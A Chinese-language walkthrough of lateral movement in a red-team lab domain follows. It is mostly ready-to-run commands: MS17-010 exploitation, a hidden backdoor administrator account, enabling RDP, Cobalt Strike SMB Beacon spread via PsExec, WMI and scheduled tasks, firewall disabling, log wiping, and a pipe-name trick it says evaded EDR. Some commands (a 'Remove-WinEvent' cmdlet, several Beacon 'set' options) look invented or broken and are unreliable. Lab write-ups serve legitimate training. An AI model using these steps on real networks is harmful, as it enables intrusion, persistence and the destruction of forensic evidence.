红日靶场1内网横向渗透实战:MS17-010与SMB Beacon攻击路径深度解析
靶场环境与攻击面分析
红日靶场1构建了一个典型的企业内网域环境,包含三台核心主机:Win7边界服务器(双网卡)、Win2003域成员和Win2008域控服务器。网络拓扑呈现以下特征:
- 边界服务器:Win7配置双网卡(NAT+仅主机模式),运行PHPStudy提供Web服务,成为内外网通信枢纽
- 内网域环境:采用52.0/24网段,域控固定IP为192.168.52.138,域成员为192.168.52.141
- 初始凭证:所有系统默认密码为
hongrisec@2019(需注意部分系统会强制要求修改)
攻击路径通常遵循"外网突破→内网渗透→横向移动→权限维持"的流程。本文将重点剖析获取边界服务器控制权后的内网横向渗透阶段,特别是MS17-010漏洞利用与SMB Beacon的三种实战应用。
内网信息收集方法论
在获得Win7边界服务器的控制权后,需系统性地收集内网信息:
# 基础网络信息收集 ipconfig /all # 确认内网网段和DNS服务器 netstat -ano # 查看活跃连接 route print # 路由表分析 # 域环境探测 net view /domain # 确认域名称 net time /domain # 定位域控 nltest /domain_trusts # 查询域信任关系 # 主机发现技巧(需已添加路由) arp -a # ARP缓存分析 for /L %i in (1,1,254) do @ping -n 1 192.168.52.%i | find "回复"通过上述命令可确认关键信息:
- 域名称:god.org
- 域控IP:192.168.52.138(通常也是DNS服务器)
- 存活主机:52.138(域控)、52.141(域成员)、52.143(边界服务器)
MS17-010漏洞利用实战
永恒之蓝漏洞(MS17-010)是内网横向渗透的利器,其利用过程包含以下关键步骤:
漏洞检测与验证
使用Metasploit内置扫描模块进行精准检测:
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.52.138-141 set THREADS 3 run检测结果通常呈现以下特征:
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! [+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010!多模式攻击路径对比
路径1:直接获取SYSTEM权限Shell
use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.52.138 set payload windows/x64/meterpreter/bind_tcp exploit优势:
- 直接获取最高权限
- 可立即进行权限维持操作
局限:
- 部分补丁环境可能导致蓝屏
- 缺乏隐蔽性,易触发安全告警
路径2:创建隐藏用户后门
use exploit/windows/smb/ms17_010_command set RHOST 192.168.52.141 set COMMAND 'net user hacker$ P@ssw0rd /add /expires:never && net localgroup administrators hacker$ /add' exploit适用场景:
- 需要持久化访问
- 目标系统存在防火墙拦截meterpreter
风险提示:
- 需定期更换密码避免被发现
- 建议使用$符号创建隐藏用户
路径3:启用RDP服务
set COMMAND 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389'组合技巧:
# 端口转发解决NAT问题 netsh interface portproxy add v4tov4 listenport=3389 connectaddress=192.168.52.141SMB Beacon高级应用
Cobalt Strike的SMB Beacon为内网横向渗透提供隐蔽通道,其部署流程如下:
环境准备
监听器配置:
- 创建SMB类型监听器(如smb_beacon)
- 设置管道名称(默认可修改为
\\.\pipe\msagent_%d)
会话迁移:
# 在已有meterpreter会话中 migrate -N explorer.exe upload /path/to/beacon.exe C:\\Windows\\Temp shell C:\\Windows\\Temp\\beacon.exe
三种攻击模式对比
| 攻击方式 | 实施命令 | 隐蔽性 | 稳定性 | 适用场景 |
|---|---|---|---|---|
| PsExec横向移动 | psexec \\192.168.52.138 smb | ★★☆ | ★★★ | 域管理员凭证已知 |
| WMI远程执行 | wmic /node:192.168.52.141 process call create "beacon.exe" | ★★★ | ★★☆ | 需本地管理员权限 |
| 计划任务注入 | schtasks /create /s 192.168.52.138 /tn update /tr "beacon.exe" /sc hourly | ★★☆ | ★★★ | 需要持久化控制 |
隐蔽通道维持技巧
管道伪装:
set pipename "\\\.\pipe\mssql_%d"心跳间隔调整:
set sleeptime 60000 # 60秒心跳 set jitter 30 # 30%随机偏移流量混淆:
set obfuscate true set smartc2 true
防御规避与痕迹清理
防火墙绕过方案
# 临时关闭防火墙(需管理员权限) netsh advfirewall set allprofiles state off # 精准放行规则(更隐蔽) netsh advfirewall firewall add rule name="Windows Update" dir=in action=allow program="C:\Windows\Temp\svchost.exe" enable=yes日志清理指南
基础清理:
wevtutil cl security # 清除安全日志 wevtutil cl system # 清除系统日志高级技巧:
# 使用meterpreter的clearev模块 clearev # 或使用PowerShell脚本过滤删除特定事件 Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Remove-WinEvent攻击路径决策树
根据实战经验总结的最佳路径选择策略:
开始 │ ├─ 目标是否开放445端口? │ ├─ 是 → 检测MS17-010漏洞 │ │ ├─ 存在 → 使用永恒之蓝直接获取SYSTEM权限 │ │ └─ 不存在 → 尝试SMB Beacon │ │ ├─ 成功 → 建立隐蔽通道 │ │ └─ 失败 → 尝试PsExec/WMI │ └─ 否 → 检查其他协议(135/5985) │ ├─ WMI执行 → 部署Beacon │ └─ WinRM连接 → 上传Payload │ └─ 是否需要持久化? ├─ 是 → 创建计划任务/服务 └─ 否 → 维持当前会话在真实内网渗透测试中,曾遇到某次攻击尝试被目标EDR拦截的情况。通过分析发现,将SMB Beacon的管道名称改为\\.\pipe\PrintSpooler可成功绕过检测,这种伪装成打印服务的技巧在实际环境中非常有效。